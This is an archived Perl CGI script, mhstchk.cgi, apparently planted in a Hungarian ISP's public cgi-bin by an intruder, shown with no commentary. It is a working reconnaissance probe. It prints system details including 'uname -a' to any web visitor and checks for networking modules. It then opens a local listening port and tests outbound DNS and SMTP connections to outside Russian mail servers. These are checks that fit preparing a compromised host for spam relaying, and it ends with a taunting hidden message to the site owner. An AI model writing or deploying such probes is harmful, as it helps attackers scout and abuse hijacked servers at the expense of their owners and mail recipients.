home *** CD-ROM | disk | FTP | other *** search
/ ftp.t-online.hu / ftp.t-online.hu.tar / ftp.t-online.hu / public_html / cgi-bin / mhstchk.cgi < prev    next >
Text File  |  2014-04-04  |  3KB  |  76 lines
  1. #!/usr/bin/perl -w
  2.  
  3.     $| = 1;
  4.  
  5.     my $smtp = 'smtp.yandex.ru';
  6.     my $dns = '194.173.175.100';
  7.  
  8.     my $fpart = "hello_my_little_friend._You_have_download_this_page_and_see_this_source.";
  9.     my $lpart = "_We_do_not_delete_anything_only_upload_change_your_passwords_and_do_not_say_it_to_anybody";
  10.     
  11.     print "Content-type: text/plain; charset=windows-1251\n\n" if $ENV{HTTP_USER_AGENT};
  12.  
  13.     print "System info\n";
  14.     print "-----------\n\n";
  15.     print "$^O";
  16.     print "\n", `uname -a` if $^O !~ /win/i;
  17.     print "\n\n";
  18.  
  19.     print "Perl modules\n";
  20.     print "------------\n\n";
  21.     print "strict .......................... ";
  22.     unless (eval ("use strict; return 1;")) { print "Error"; } else { print "Ok"; }
  23.     print "\nSys::Hostname ................... ";
  24.     unless (eval ("use Sys::Hostname; return 1;")) { print "Error"; } else { print "Ok"; }
  25.     print "\nPOSIX ........................... ";
  26.     unless (eval ("use POSIX qw(setsid); return 1;")) { print "Error"; } else { print "Ok"; }
  27.     print "\nErrno ........................... ";
  28.     unless (eval ("use Errno qw(EINPROGRESS); return 1;")) { print "Error"; } else { print "Ok"; }
  29.     print "\nIO::Socket ...................... ";
  30.     unless (eval ("use IO::Socket qw(:DEFAULT :crlf); return 1;")) { print "Error"; } else { use IO::Socket qw(:DEFAULT :crlf); print "Ok"; }
  31.     print "\nIO::Select ...................... ";
  32.     unless (eval ("use IO::Select; return 1;")) { print "Error"; } else { print "Ok"; }
  33.     print "\n\n";
  34.  
  35.     print "Local server test\n";
  36.     print "-----------\n\n";
  37.     my $s = IO::Socket::INET->new(Proto => "tcp", LocalPort => 36000, Listen => SOMAXCONN, Reuse => 1);
  38.     unless ($s) { print "Error"; } else { close $s; print "Ok"; }
  39.     print "\n\n";
  40.  
  41.     print "DNS <TCP> client test ($dns)\n";
  42.     print "-----------\n\n";
  43.     my $r = (gethostbyname $dns)[4];
  44.     unless ($r) { print "Error > Can't resolve DNS hostname"; exit; }
  45.     $s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
  46.     unless ($s) { print "Error > Can't create socket > $!"; exit; }
  47.     $r = pack ("Sna4x8", 2, 53, $r);
  48.     unless ($s->connect($r)) { close $s; print "Error > Can't connect > $!"; exit; }
  49.     close $s; print "Ok";
  50.     print "\n\n";
  51.  
  52.     print "DNS <UDP> client test ($dns)\n";
  53.     print "-----------\n\n";
  54.     $s = IO::Socket::INET->new(Proto=>'udp');
  55.     unless ($s) { print "Error > Can't create socket > $!"; exit; }
  56.     my $b = pack ('nSn4', (int rand 65535), 0x1, 0x1, 0x0, 0x0, 0x0);
  57.     foreach (split (/\./, "mxs.mail.ru")) { $b .= pack ('C', length ($_)) . $_; }
  58.     $b .= pack ('Cn2', 0x0, 0xF, 0x1);
  59.     $s->send($b, 0, $r);
  60.     $b = "";
  61.     my $t = IO::Select->new($s);
  62.     if ($t->can_read(5)) { $s->recv($b, 512); } else { close $s; print "Error > Timeout"; exit; }
  63.     close $s; print "Ok";
  64.     print "\n\n";
  65.  
  66.     print "SMTP Client test ($smtp)\n";
  67.     print "-----------\n\n";
  68.     $r = (gethostbyname $smtp)[4];
  69.     unless ($r) { print "Error > Can't resolve SMTP hostname"; exit; }
  70.     $s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
  71.     unless ($s) { print "Error > Can't create socket > $!"; exit; }
  72.     unless ($s->connect(pack ("Sna4x8", 2, 25, $r))) { close $s; print "Error > Can't connect > $!"; exit; }
  73.     $r = <$s>; close $s;
  74.     if (length $r) { print "Ok\n$r\n","<!--",$fpart,$lpart,"-->\n" ; } else { print "Error > Can't read response"; }
  75.  
  76.